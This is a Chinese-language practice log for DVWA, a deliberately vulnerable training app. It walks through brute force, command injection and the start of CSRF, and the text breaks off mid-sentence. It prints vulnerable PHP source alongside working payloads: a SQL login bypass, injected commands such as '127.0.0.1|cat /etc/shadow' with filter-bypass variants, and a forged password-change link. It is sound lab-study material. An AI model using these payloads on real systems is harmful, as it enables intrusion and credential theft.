DVWA练习记录

文章目录

      • 1. DVWA通关记录
        • 1.1. 目的
      • 2. 练习(白盒测试)
        • 2.1. Brute Force(暴力破解)
          • 2.1.1. 原理
          • 2.1.2. LOW
            • 2.1.2.1. 查看源码
            • 2.1.2.2. SQL注入
            • 2.1.2.3. 工具爆破(BURPSUITE)
          • 2.1.3. MEDIUM
            • 2.1.3.1. 查看源码
            • 2.1.3.2. SQL注入
            • 2.1.3.3. 工具爆破(BURPSUITE)
          • 2.1.4. HIGH
            • 2.1.4.1. 查看源码
          • 2.1.5. IMPOSSIBLE
        • 2.2. Command Injection(命令注入)
          • 2.2.1. 原理
          • 2.2.2. LOW
            • 2.2.2.1. 查看源码
            • 2.2.2.2. 漏洞利用
          • 2.2.3. MEDIUM
            • 2.2.3.1. 查看源码
            • 2.2.3.2. 漏洞利用
          • 2.2.4. HIGH
            • 2.2.4.1. 查看源码
            • 2.2.4.2. 漏洞利用
          • 2.2.5. IMPOSSIBLE
        • 2.3. CSRF(跨站请求伪造)
          • 2.3.1. 原理
          • 2.3.2. LOW
            • 2.3.2.1. 查看源码
            • 2.3.2.2. 构造链接
            • 2.3.2.3. 使用短链接
            • 2.3.2.4. 伪造攻击页面
          • 2.3.3. MEDIUM
            • 2.3.3.1. 查看源码
          • 2.3.4. HIGH
            • 2.3.4.1. 查看源码
            • 2.3.4.2. 漏洞利用
          • 2.3.5. IMPOSSIBLE
        • 2.4. File Inclusion(文件包含)
          • 2.4.1. 原理
          • 2.4.2. LOW
            • 2.4.2.1. 查看源码
            • 2.4.2.2. 漏洞利用(本地文件包含)
            • 2.4.2.3. 漏洞利用(远程文件包含)
          • 2.4.3. MEDIUM
            • 2.4.3.1. 查看源码
            • 2.4.3.2. 漏洞利用(本地文件包含)
            • 2.4.3.3. 漏洞利用(远程文件包含)
          • 2.4.4. HIGH
            • 2.4.4.1. 查看源码
            • 2.4.4.2. 漏洞利用(本地文件包含)
            • 2.4.4.3. 漏洞利用(远程文件包含)
          • 2.4.5. IMPOSSIBLE
            • 2.4.5.1. 查看源码
        • 2.5. File Upload(文件上传)
          • 2.5.1. 原理
          • 2.5.2. 常见上传点
            • 2.5.2.1. 绕过类型
          • 2.5.3. 绕过限制
          • 2.5.4. 漏洞利用条件
          • 2.5.5. LOW
            • 2.5.5.1. 查看源码
            • 2.5.5.2. 漏洞利用
          • 2.5.6. MEDIUM
            • 2.5.6.1. 查看源码
            • 2.5.6.2. 漏洞利用(文件包含+文件上传)
            • 2.5.6.3. 漏洞利用(数据包内容更改绕过)
            • 2.5.6.4. 漏洞利用(截断绕过)
          • 2.5.7. HIGH
            • 2.5.7.1. 查看源码
            • 2.5.7.2. 漏洞利用(%00截断绕过)
            • 2.5.7.3. 漏洞利用(文件包含+文件上传)
          • 2.5.8. IMPOSSIBLE
            • 2.5.8.1. 查看源码
        • 2.6. Sql Injection(SQL注入)
          • 2.6.1. 原理
          • 2.6.2. 注入的一般流程
          • 2.6.3. 注入的方式
          • 2.6.4. LOW
            • 2.6.4.1. 查看源码
            • 2.6.4.2. 判断注入类型
            • 2.6.4.3. 猜解字段
            • 2.6.4.4. UNION联合查询查询当前数据库
            • 2.6.4.5. 查询当前数据库中存在的表
            • 2.6.4.6. 查询表(users)的字段名
            • 2.6.4.7. 查询表(users)的字段值信息
          • 2.6.5. MEDIUM
            • 2.6.5.1. 查看源码
            • 2.6.5.2. 判断注入类型
            • 2.6.5.3. 猜解字段
            • 2.6.5.4. UNION联合查询查询当前数据库
            • 2.6.5.5. 查询当前数据库中存在的表
            • 2.6.5.6. 查询表(users)的字段名
            • 2.6.5.7. 查询表(users)的字段值信息
          • 2.6.6. HIGH
            • 2.6.6.1. 查看源码
            • 2.6.6.2. 判断注入类型
          • 2.6.7. IMPOSSIBLE
            • 2.6.7.1. 查看源码
        • 2.7. Sql Injection(blind)(SQL注入—盲注)
          • 2.7.1. 原理
          • 2.7.2. LOW
            • 2.7.2.1. 查看源码
            • 2.7.2.2. 判断注入类型
            • 2.7.2.3. 2.7.2.2.布尔盲注查询当前数据库
            • 2.7.2.4. 查询当前数据库中存在的表
            • 2.7.2.5. 查询表(users)的字段名
            • 2.7.2.6. 查询表(users)的字段值信息
          • 2.7.3. MEDIUM
            • 2.7.3.1. 查看源码
            • 2.7.3.2. 判断注入类型
            • 2.7.3.3. 布尔盲注查询当前数据库
            • 2.7.3.4. 查询当前数据库中存在的表
            • 2.7.3.5. 查询表(users)的字段名
            • 2.7.3.6. 查询表(users)的字段值信息
          • 2.7.4. HIGH
            • 2.7.4.1. 查看源码
            • 2.7.4.2. 判断注入类型
            • 2.7.4.3. 布尔盲注查询当前数据库
            • 2.7.4.4. 查询当前数据库中存在的表
            • 2.7.4.5. 查询表(users)的字段名
            • 2.7.4.6. 查询表(users)的字段值信息
          • 2.7.5. IMPOSSIBLE
            • 2.7.5.1. 查看源码
        • 2.8. XSS (跨站脚本攻击)
          • 2.8.1. 原理
          • 2.8.2. 常用XSS语句
          • 2.8.3. XSS漏洞绕过
          • 2.8.4. XSS (Reflected)_LOW
            • 2.8.4.1. 查看源码
            • 2.8.4.2. 漏洞利用
          • 2.8.5. XSS (Reflected)_MEDIUM
            • 2.8.5.1. 查看源码
            • 2.8.5.2. 漏洞利用
          • 2.8.6. XSS (Reflected)_HIGH
            • 2.8.6.1. 查看源码
            • 2.8.6.2. 漏洞利用
          • 2.8.7. XSS (Reflected)_IMPOSSIBLE
            • 2.8.7.1. 查看源码
          • 2.8.8. XSS (Stored)_LOW
            • 2.8.8.1. 查看源码
            • 2.8.8.2. 漏洞利用
          • 2.8.9. XSS (Stored)_MEDIUM
            • 2.8.9.1. 查看源码
            • 2.8.9.2. 漏洞利用
          • 2.8.10. XSS (Stored)_HIGH
            • 2.8.10.1. 查看源码
            • 2.8.10.2. 漏洞利用
          • 2.8.11. XSS (Stored)_IMPOSSIBLE
            • 2.8.11.1. 查看源码
      • 3. 总结

1. DVWA通关记录

1.1. 目的

DVWA (Dam Vulnerable Web Application)是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了暴力破解,CSRF,文件上传,SQL注入,XSS等常见的一些安全漏洞测试例子,通过对DVWA中的漏洞练习,达到知识的巩固与提高。

2. 练习(白盒测试)

2.1. Brute Force(暴力破解)

2.1.1. 原理

利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一;

2.1.2. LOW
2.1.2.1. 查看源码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); if( $result && mysqli_num_rows( $result ) == 1 ) { $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; echo "

Welcome to the password protected area {$user}

"
; echo ""; } else { echo "

Username and/or password incorrect.
"
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

经过对源码的查看,可以发现,后台只是验证了参数Login是否被设置,没有任何的防爆破机制,同时对于参数username、password没有做任何过滤,存在明显的sql注入漏洞;

2.1.2.2. SQL注入

尝试万能密码登录;
EG:

admin' or '1'='1 
//登录成功;

DVWA练习记录_第1张图片

2.1.2.3. 工具爆破(BURPSUITE)

Proxy模块代理抓包,Intruder模块进行爆破()设置好positions为(cluster bomb),payloads设置好使用的字典,就可以开始进行爆破了,一般是观察响应包的长度来判断是否可能是正确的账户密码;
DVWA练习记录_第2张图片

可以看到password的响应包长度(length)与其他的响应包的长度有所不同,推测password可能为正确密码,手工尝试验证登陆成功;

2.1.3. MEDIUM
2.1.3.1. 查看源码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); if( $result && mysqli_num_rows( $result ) == 1 ) { $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; echo "

Welcome to the password protected area {$user}

"
; echo ""; } else { sleep( 2 ); echo "

Username and/or password incorrect.
"
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

经过对代码的查看,可以发现,主要在原有的基础上增加了mysql_real_escape_string()函数,会对字符串中的特殊符号(\x00,\n,\r,\,’,",\x1a)进行转义,能够对一些sql注入攻击进行防御,如果对于 MySQL5.5.37以下版本,设置了编码格式为GBK,能够构造编码绕过mysql_real_escape_string() 对单引号的转义;同时,对于$pass做了MD5校验,杜绝了通过对参数password进行sql注入的可能性。但是,依然没有加入有效的防爆破机制(可以利用工具进行爆破);

2.1.3.2. SQL注入

对于MySQL5.5.37以下版本,且设置了编码格式为GBK,可以尝试使用(%df,%bf,%a0,%09,%0a,%0b,%0c等来绕过);

2.1.3.3. 工具爆破(BURPSUITE)

Proxy模块代理抓包,Intruder模块进行爆破()设置好positions为(cluster bomb),payloads设置好使用的字典,就可以开始进行爆破了,一般是观察响应包的长度来判断是否可能是正确的账户密码;
在这里插入图片描述
可以看到password的响应包长度(length)与其他的响应包的长度有所不同,推测password可能为正确密码,手工尝试验证登陆成功;

2.1.4. HIGH
2.1.4.1. 查看源码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); if( $result && mysqli_num_rows( $result ) == 1 ) { $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; echo "

Welcome to the password protected area {$user}

"
; echo ""; } else { sleep( rand( 0, 3 ) ); echo "

Username and/or password incorrect.
"
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } generateSessionToken(); ?>

经过对代码的查看,可以发现,加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token,同时使用了stripslashes()函数(去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个),mysql_real_escape_string()对参数username、password进行过滤、转义,进一步抵御sql注入,同时,由于加入了Anti-CSRFtoken预防了重复提交,这里就不推荐用工具进行爆破,但是可以使用脚本去爆破(获取页面中的user_token,然后配合字典构造url(这里的数据提交是使用的GET型)进行爆破,同样可以根据响应包的长度来判断是否可能是正确的账户密码);
DVWA练习记录_第3张图片
DVWA练习记录_第4张图片

2.1.5. IMPOSSIBLE

对于Impossible级别的代码,加入了比较可靠的防爆破机制,后台当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续。对于数据库则是采用了更为安全的PDO(PHP Data Object)(对MySQL执行预编译操作)机制防御sql注入,由于不能使用PDO扩展本身执行任何数据库操作,以至于SQL注入无法实现。

2.2. Command Injection(命令注入)

2.2.1. 原理

通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的;
DVWA练习记录_第5张图片

2.2.2. LOW
2.2.2.1. 查看源码
<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    $target = $_REQUEST[ 'ip' ];
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    echo "
{$cmd}
"
; }

经过对代码进行查看,stristr()函数(搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分),可以看到,服务器可以通过判断操作系统的不同,执行不同ping命令,但是对ip参数并未做任何的过滤,这就存在严重的命令注入漏洞;

逻辑运算符 使用方式
& Command1&Command2,先执行Command1,不管是否成功,都会执行Command2
&& Command1&&Command2,先执行Command1 执行成功后再执行Command2,否则不执行Command2
|| Command 1 || Command 2,只有当Command1 执行失败才会执行Command2,否则只执行Command1
| Command 1 | Command 2,表示将Command1的输出作为Command2的输入,并且只打印Command 2执行的结果
2.2.2.2. 漏洞利用

Windows
EG:

127.0.0.1 && net user
//查看主机中存在的用户;
...

DVWA练习记录_第6张图片
Linux
EG:

127.0.0.1 && cat /etc/shadow
//查看shadow文件内容;
2.2.3. MEDIUM
2.2.3.1. 查看源码
<?php 
if( isset( $_POST[ 'Submit' ]  ) ) { 
    $target = $_REQUEST[ 'ip' ]; 
    $substitutions = array( 
        '&&' => '', 
        ';'  => '', 
    ); 
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
        $cmd = shell_exec( 'ping  ' . $target ); 
    } 
    else { 
        $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
    } 
    echo "
{$cmd}
"
; } ?>

经过对代码的查看,可以查看到,服务器端对ip参数做了过滤,即将“&&”和“;”替换为空,但是可以使用其他方式(如使用类似字符&,||和利用字符替换后的空格重新构造)进行绕过;

2.2.3.2. 漏洞利用

Windows
EG:

127.0.0.1&net user
127.0.0.1&;&net user
//查看主机中存在的用户;
...

Linux
EG:

127.0.0.1 & cat /etc/shadow
127.0.0.1 &;& cat /etc/shadow
//查看shadow文件内容;
...
2.2.4. HIGH
2.2.4.1. 查看源码
<?php 
if( isset( $_POST[ 'Submit' ]  ) ) { 
    $target = trim($_REQUEST[ 'ip' ]); 
    $substitutions = array( 
        '&'  => '', 
        ';'  => '', 
        '|  ' => '', 
        '-'  => '', 
        '$'  => '', 
        '('  => '', 
        ')'  => '', 
        '`'  => '', 
        '||' => '', 
    ); 
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
        $cmd = shell_exec( 'ping  ' . $target ); 
    } 
    else { 
        $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
    } 
    echo "
{$cmd}
"
; } ?>

经过对代码的查看,可以发现,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性(无法完全过滤),可以尝试使用管道符(|)()绕过过滤;

2.2.4.2. 漏洞利用

Windows
EG:

127.0.0.1|net user
//查看主机中存在的用户;
...

DVWA练习记录_第7张图片
Linux
EG:

127.0.0.1|cat /etc/shadow
//查看shadow文件内容;
...
2.2.5. IMPOSSIBLE

对于Impossible级别的代码,加入了Anti-CSRF token(token验证机制,防止CSRF),同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞;

2.3. CSRF(跨站请求伪造)

2.3.1. 原理

利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等);
DVWA练习记录_第8张图片

2.3.2. LOW
2.3.2.1. 查看源码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
    if( $pass_new == $pass_conf ) {
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); echo "
Password Changed.
"
; } else { echo "
Passwords did not match.
"
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } generateSessionToken(); ?>

经过对源码的查看,可以发现,服务器在接收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,然而并没有任何的防CSRF机制,所以针对GET请求,可以构造链接来伪造真实的请求;

2.3.2.2. 构造链接

利用抓取的数据包中的提交请求进行构造
EG:

http://192.168.1.104/dvwa/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Chang
//受害者点击该链接后就会触发,向服务器发出改密请求(在受害者未知情的情况下进行操作);

DVWA练习记录_第9张图片

2.3.2.3. 使用短链接

用短链接来隐藏URL(当受害者点击该短链接,浏览器就会自动跳转到真实网站),利用可以生成短链接的的工具将攻击链接变成短链接;
EG:

http://tool.chinaz.com/tools/dwz.aspx
https://dwz.cn/
...
2.3.2.4. 伪造攻击页面

现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击(一般使用